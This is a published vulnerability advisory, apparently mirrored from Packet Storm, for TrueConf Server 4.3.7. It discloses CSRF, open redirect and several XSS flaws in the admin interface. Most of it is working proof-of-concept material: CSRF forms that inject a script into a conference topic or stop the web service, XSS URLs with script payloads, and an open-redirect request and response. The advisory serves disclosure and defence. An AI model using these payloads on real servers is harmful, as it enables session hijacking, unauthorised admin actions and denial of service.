TrueConf Server 4.3.7 Cross Site Scripting / Open Redirect / CSRF

🗓️ 31 Jan 2017 00:00:00Reported by LiquidWormType
packetstorm🔗 packetstormsecurity.com👁 68 Views
TrueConf Server v4.3.7 Multiple Remote Web Vulnerabilities including Cross Site Scripting, Open Redirect, CSR
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TrueConf Server v4.3.7 Multiple Remote Web Vulnerabilities  
  
  
Vendor: TrueConf LLC  
Product web page: https://www.trueconf.com  
Affected version: 4.3.7.12255 and 4.3.7.12219  
  
Summary: TrueConf Server is a powerful, high-quality and highly secured  
video conferencing software server. It is specially designed to work with  
up to 250 participants in a multipoint conference over LAN or VPN networks.  
TrueConf Server requires no hardware and includes client applications for  
all popular platforms, making it an easy-to-set up, unified communications  
solution.  
  
Desc: The administration interface allows users to perform certain actions  
via HTTP requests without performing any validity checks to verify the requests.  
This can be exploited to perform certain actions with administrative privileges  
if a logged-in user visits a malicious web site.  
  
Input passed via the 'redirect_url' GET parameter is not properly verified before  
being used to redirect users. This can be exploited to redirect a user to an  
arbitrary website e.g. when a user clicks a specially crafted link to the affected  
script hosted on a trusted domain.  
  
TrueConf also suffers from multiple stored, reflected and DOM XSS issues when  
input passed via several parameters to several scripts is not properly sanitized  
before being returned to the user. This can be exploited to execute arbitrary HTML  
and script code in a user's browser session in context of an affected site.  
  
  
Tested on: Microsoft Windows 7 Professional SP1 (EN)  
Apache/2.4.17 (Win32)  
PHP/5.4.41  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2017-5393  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5393.php  
  
  
01.11.2016  
  
--  
  
  
CSRF Stored XSS:  
----------------  
  
<html>  
<body>  
<form action="http://127.0.0.1:8888/admin/conferences/applyCreate" method="POST">  
<input type="hidden" name="send_invite_mail" value="1" />  
<input type="hidden" name="invitation_type" value="-1" />  
<input type="hidden" name="hide_invitation_type" value="-1" />  
<input type="hidden" name="date" value="22.01.2017" />  
<input type="hidden" name="time-field" value="17:27" />  
<input type="hidden" name="time_zone" value="60" />  
<input type="hidden" name="subtype" value="3" />  
<input type="hidden" name="podiums" value="6" />  
<input type="hidden" name="cid" value="\c\dfa95f7e1d" />  
<input type="hidden" name="key" value="dfa95f7e1d" />  
<input type="hidden" name="topic" value="<script>alert('XSS')</script>" />  
<input type="hidden" name="description" value="" />  
<input type="hidden" name="owner" value="" />  
<input type="hidden" name="gconf-edit" value="ok" />  
<input type="hidden" name="webTtype" value="0" />  
<input type="submit" value="Submit form" />  
</form>  
</body>  
</html>  
  
  
  
Reflected XSS:  
--------------  
  
http://127.0.0.1:8888/admin/conferences/get-all-status/?keys[]=<img src=j onerror=confirm(251) >  
http://127.0.0.1:8888/admin/conferences/list/?sort=status%26'%22()%26%25<div><ScRiPt%20>prompt(251)</ScRiPt>  
http://127.0.0.1:8888/admin/group/list/?checked_group_id=0001&sort=name  
http://127.0.0.1:8888/admin/group/list/?checked_group_id=' onmouseover=confirm(251) ?  
  
  
  
DOM XSS:  
--------  
  
http://127.0.0.1:8888/admin/group?'\><script>confirm("XSS")</script>  
http://127.0.0.1:8888/admin/conferences/list/?domxss=javascript:domxssExecutionSink(1,"'\"><script>alert("XSS")</script>  
  
  
  
Open Redirect:  
--------------  
  
Request:  
  
GET /admin/general/change-lang?lang_on=en&redirect_url=http://www.zeroscience.mk HTTP/1.1  
Host: 127.0.0.1:8888  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21  
Accept: */*  
  
Response:  
  
HTTP/1.1 302 Found  
Date: Thu, 22 Sep 2016 21:15:40 GMT  
Server: Apache  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Location: http://www.zeroscience.mk  
Content-Length: 0  
Keep-Alive: timeout=5, max=75  
Connection: Keep-Alive  
Content-Type: text/html; charset=utf-8  
  
  
  
CSRF Stop Web Service:  
----------------------  
  
<html>  
<body>  
<form action="http://127.0.0.1/admin/service/stop/" method="POST">  
<input type="submit" value="Submit form" />  
</form>  
</body>  
</html>  
`
31 Jan 2017 00:00Current
7.4High risk
Vulners AI Score7.4